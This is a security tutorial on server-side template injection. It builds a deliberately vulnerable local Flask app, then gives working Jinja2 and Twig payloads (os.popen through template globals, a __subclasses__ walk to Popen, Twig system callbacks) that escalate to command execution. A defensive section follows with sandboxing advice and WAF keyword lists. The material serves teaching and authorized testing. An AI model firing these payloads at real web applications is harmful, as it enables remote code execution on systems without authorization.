Server-Side Template Injection: From {{7*7}} to RCE

Security
Time it takes to read this article 4 minutes.

Disclaimer: This article is for education and authorized testing only. Run these techniques exclusively against systems you own or have explicit written permission to assess. Unauthorized testing is illegal in most jurisdictions.

Introduction / Overview

Server-Side Template Injection (SSTI) happens when user input is concatenated into a template that is then evaluated by the server-side template engine, instead of being passed in as data. Because template engines are designed to execute expressions, an attacker who controls part of the template can frequently escalate from harmless output to full Remote Code Execution (RCE).

In this article you will learn how to detect SSTI, fingerprint the engine, and exploit two of the most common targets — Jinja2 (Python/Flask) and Twig (PHP/Symfony) — including the sandbox-escape gadgets that turn a {{7*7}} payload into a shell. We finish with a Blue Team section of equal weight.

This is distinct from client-side template injection and from generic XSS. SSTI maps to MITRE ATT&CK technique T1190 (Exploit Public-Facing Application).

How it works / Background

A safe template passes user data as a variable:

render_template("hello.html", name=request.args.get("name"))

A vulnerable one builds the template string itself from user input:

# VULNERABLE — user input becomes part of the template source
template = "Hello " + request.args.get("name")
return render_template_string(template)

When name = {{7*7}}, the engine evaluates the expression and the response contains Hello 49. That 49 is the canonical confirmation that the input is being parsed, not merely reflected.

Different engines use different delimiters and have different expression grammars, which is exactly what lets us fingerprint them.

Prerequisites / Lab setup

Spin up a deliberately vulnerable Flask app locally:

mkdir ssti-lab && cd ssti-lab
python3 -m venv venv && source venv/bin/activate
pip install Flask==3.0.3
# app.py
from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get("name", "world")
    return render_template_string("<h1>Hello " + name + "</h1>")

app.run(host="127.0.0.1", port=5000, debug=False)
python3 app.py

For Twig testing, the PayloadsAllTheThings SSTI directory ships ready-made docker labs.

Attack walkthrough / PoC

Step 1 — Detect

Probe with arithmetic in several delimiter styles:

curl -G 'http://127.0.0.1:5000/' --data-urlencode 'name={{7*7}}'
curl -G 'http://127.0.0.1:5000/' --data-urlencode 'name=${7*7}'
curl -G 'http://127.0.0.1:5000/' --data-urlencode 'name=#{7*7}'

If the response reflects 49, an expression was evaluated.

Step 2 — Fingerprint the engine

Use a polyglot that behaves differently per engine. A classic discriminator:

curl -G 'http://127.0.0.1:5000/' --data-urlencode 'name={{7*"7"}}'
  • Jinja2 returns 7777777 (Python repeats the string).
  • Twig returns 49 (numeric coercion).

This matches the well-known SSTI decision tree from PortSwigger and HackTricks. You can also automate the whole flow with tplmap or SSTImap:

git clone https://github.com/vladko312/SSTImap
python3 SSTImap/sstimap.py -u 'http://127.0.0.1:5000/?name=*' --os-cmd id

Step 3 — Jinja2: from expression to RCE (sandbox escape)

Jinja2 does not expose os directly. The standard escape walks the Python object model from any built-in object up to a class that can spawn a process. Start by confirming object access:

curl -G 'http://127.0.0.1:5000/' --data-urlencode 'name={{ "".__class__.__mro__ }}'

The reliable, modern gadget reaches subprocess.Popen via the __subclasses__() list, but a cleaner path uses Flask globals available in the template context:

# Read /etc/passwd via os.popen exposed through cycler/lipsum globals
curl -G 'http://127.0.0.1:5000/' --data-urlencode \
  'name={{ cycler.__init__.__globals__.os.popen("id").read() }}'
# Equivalent using the lipsum global
curl -G 'http://127.0.0.1:5000/' --data-urlencode \
  'name={{ lipsum.__globals__["os"].popen("id").read() }}'

The classic __subclasses__ walk, useful when globals are stripped:

curl -G 'http://127.0.0.1:5000/' --data-urlencode \
  'name={{ "".__class__.__base__.__subclasses__() }}'
# Find the index of subprocess.Popen, then:
curl -G 'http://127.0.0.1:5000/' --data-urlencode \
  'name={{ "".__class__.__base__.__subclasses__()[NNN]("id",shell=True,stdout=-1).communicate() }}'

When {{ }} output is sanitized or filtered, fall back to statement tags {% ... %} and the request object to dynamically dereference filtered attributes (e.g. {{ request|attr("application")... }}), which defeats naive keyword blacklists.

Step 4 — Twig: RCE

Twig (Symfony) historically exposed dangerous filters. Two reliable payloads:

{{ ['id'] | filter('system') }}
{{ ['id', ''] | reduce('system') }}
{{ _self.env.registerUndefinedFilterCallback("system") }}{{ _self.env.getFilter("id") }}

The last one abuses the _self environment object — the canonical Twig sandbox escape that remains in many CTF and legacy targets.

Mermaid diagram

Server-Side Template Injection: From {{7*7}} to RCE diagram 1

The diagram shows the detect → fingerprint → engine-specific escape → RCE pipeline.

Detection & Defense (Blue Team)

Defense carries equal weight to exploitation. Address SSTI at the source, not just the WAF.

1. Never build templates from user input. The root cause is passing untrusted data to render_template_string, Twig\Environment::createTemplate, or string concatenation. Always pass user data as context variables to a static template:

# SAFE
return render_template("hello.html", name=name)

2. Use a sandboxed environment when dynamic templates are unavoidable. Jinja2 ships SandboxedEnvironment (and ImmutableSandboxedEnvironment), which blocks access to __class__, __globals__, and underscore attributes:

from jinja2.sandbox import ImmutableSandboxedEnvironment
env = ImmutableSandboxedEnvironment()

For Twig, enable the SandboxExtension with an explicit allow-list of tags, filters, and methods. Be aware sandbox escapes are still found — keep engines patched.

3. Patch and track CVEs. Recent examples worth flagging in reports:

  • CVE-2024-34072 — SSTI in a Sentry/Django integration path.
  • CVE-2025-29927 — Next.js middleware bypass (related public-facing-app class).
  • Historic Twig sandbox bypasses tracked under the twig/twig advisories.

4. Input validation & output encoding. Reject template metacharacters ({{, }}, ${, #{, <%) in fields that should never contain them, and apply strict type/format validation.

5. Detection (logs/WAF). Alert on request parameters containing __class__, __globals__, __subclasses__, mro, popen, _self.env, registerUndefinedFilterCallback, or repeated {{/}}. ModSecurity CRS rules in PL2+ catch many of these. In WAF telemetry, correlate the {{7*7}}49 probe pattern.

6. Least privilege & egress filtering. Run the app as a low-privilege user, in a container with a read-only filesystem, and block outbound connections so a successful RCE cannot easily call back for a reverse shell. See Linux Privilege Escalation Techniques and Building a Web Pentest Lab for hardening the surrounding environment.

Conclusion

SSTI is a high-impact bug class because template engines are interpreters by design. A single {{7*7}} returning 49 is enough to confirm the issue; from there, engine fingerprinting ({{7*"7"}}) tells you whether to pursue Jinja2 globals gadgets or Twig _self.env callbacks. The fix is architectural — keep user data out of template source — backed by sandboxed environments, patching, and least-privilege deployment. For more injection-class techniques, see SQL Injection to RCE.

References

Comments

Copied title and URL